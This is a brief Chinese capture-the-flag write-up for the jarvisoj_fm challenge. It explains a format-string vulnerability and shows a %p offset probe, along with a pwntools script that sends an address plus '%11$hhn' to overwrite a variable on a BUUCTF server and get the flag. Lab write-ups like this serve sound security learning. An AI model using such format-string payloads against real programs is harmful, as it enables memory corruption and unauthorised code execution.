jarvisoj_fm(格式化字符串)

jarvisoj_fm

  1. 首先可以去了解一下格式化话字符串漏洞看看佬的博客

  2. 可以利用格式化字符串漏洞
    1

  3. 先查看偏移量(aaaa与0x61616161之间的距离,0x61是a的ASCII值)

    1
    aaaa %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p

    2

  4. 查找x的地址
    3

  5. 构造exp.py

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    from pwn import *
    #context(arch='i386',os='linux',log_level='debug')
    elf = ELF('./fm')

    p = remote('node5.buuoj.cn', 26501)

    x = 0x0804A02C
    payload = p32(x)+b"%11$hhn"
    p.sendline(payload)
    p.interactive()
  6. 得到flag
    4